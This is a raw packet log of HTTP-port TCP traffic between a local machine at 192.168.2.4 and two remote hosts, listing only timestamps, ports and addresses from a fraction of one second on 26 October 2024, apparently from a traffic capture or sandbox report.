Oct 26, 2024 05:54:55.397460938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397548914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397578955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397675991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397727966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397757053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397757053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397792101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397840977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397874117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397911072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.397938967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.397993088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.406965017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.406994104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407044888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407058954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407058954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407089949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407099009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407129049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407143116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407164097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407166958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407203913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407217026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407247066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407258034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407280922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407286882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407335043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407339096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407377958 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407381058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407413006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.407418013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.407454967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.439347029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.439377069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.439412117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.439414024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.439444065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.439454079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.482597113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.482645988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.482664108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.482685089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.482733965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.523782969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.523829937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.523868084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.523886919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.523897886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.523925066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.523933887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.523960114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.523977041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.523997068 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524004936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524051905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524051905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524091005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524096966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524136066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524142027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524178028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524189949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524216890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524220943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524251938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524255037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524286985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524295092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524322033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524326086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524354935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524360895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524390936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.524395943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.524435043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.526614904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.526659966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.526676893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.526709080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.526751041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.526767015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.526793957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558099031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558144093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558180094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558185101 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558219910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558235884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558249950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558285952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558295965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558315992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558350086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558360100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558377028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558423996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558470964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558500051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558547020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558626890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558777094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558806896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558819056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558840036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.558885098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.558954000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559088945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559118986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559132099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.559170008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559206009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559214115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.559242010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.559281111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.564167023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564222097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564239025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564255953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564270973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564301014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564308882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564343929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564349890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564378977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564383984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564420938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564466000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564512014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564517975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564553022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564568996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564594984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564652920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564704895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564734936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564769030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564785004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564810991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.564821005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.564862967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.600634098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.600667953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.600702047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.600814104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.643773079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.643806934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.643841028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.643959999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.643959999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.680161953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680372953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680381060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680412054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680430889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680454969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680463076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680504084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680505991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680532932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680545092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680576086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680583000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680618048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680624008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680649996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680661917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680685997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680691004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680726051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680735111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680769920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680775881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680804968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680816889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680840015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680846930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680876017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.680881023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.680916071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.687804937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.687834024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.687875032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.687885046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.687920094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.687953949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.687958956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.688019991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.688061953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.719217062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719403982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719433069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719502926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719537020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719542980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.719567060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719569921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.719609976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.719615936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719650030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719682932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719695091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.719716072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.719755888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.720062017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720089912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720124006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720132113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.720158100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720211983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720241070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.720263004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720290899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720303059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.720355034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720416069 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.720424891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720453978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.720494986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.721019030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721069098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721079111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721103907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721117020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721144915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721187115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721216917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721234083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721261978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721281052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721309900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721326113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721352100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721364021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721410990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721415043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721447945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721460104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721493006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721499920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721545935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721549988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721584082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721592903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721621037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721622944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721671104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721673012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721724987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721841097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721873045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.721888065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.721920967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.761995077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.762144089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.762176037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.762300968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.802336931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.805129051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.805170059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.805206060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.805213928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.805243015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.805284977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.837203979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837320089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837321997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837354898 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837388992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837421894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837454081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837486982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837531090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837531090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837531090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837531090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837531090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837554932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837560892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837598085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837608099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837641001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837649107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837683916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837687969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837764978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.837771893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.837809086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.849287033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849390030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849425077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849438906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.849478006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849512100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849523067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.849550009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:55.849592924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:55.878246069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878293991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878309011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878345966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878353119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878391027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878400087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878427029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878434896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878463984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878479958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878498077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878506899 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878532887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878539085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878582001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878587008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878623009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878633022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878668070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878674984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878710032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878727913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878742933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878752947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878779888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878784895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878840923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878870010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878925085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:55.878927946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:55.878958941 CEST	80	49745	185.215.113.206	192.168.2.4
